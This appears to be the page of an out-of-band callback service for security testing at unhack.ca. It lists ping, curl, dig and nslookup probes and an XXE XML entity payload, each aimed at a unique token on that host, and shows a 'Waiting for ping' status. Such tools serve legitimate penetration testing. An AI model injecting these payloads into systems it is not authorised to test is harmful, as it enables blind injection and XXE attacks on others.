$ ping -c1 -p 006f7f989dcefa368a5b8f404a870700 unhack.ca
 
$ curl http://unhack.ca/p/6f7f989dcefa368a5b8f404a8707
 
$ dig 6f7f989dcefa368a5b8f404a8707 @unhack.ca
 
$ dig 6f7f989dcefa368a5b8f404a8707.ns.unhack.ca
 
C:\> nslookup 6f7f989dcefa368a5b8f404a8707 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/6f7f989dcefa368a5b8f404a8707">]>
    <foo>&xxe;</foo>
 
Waiting for ping...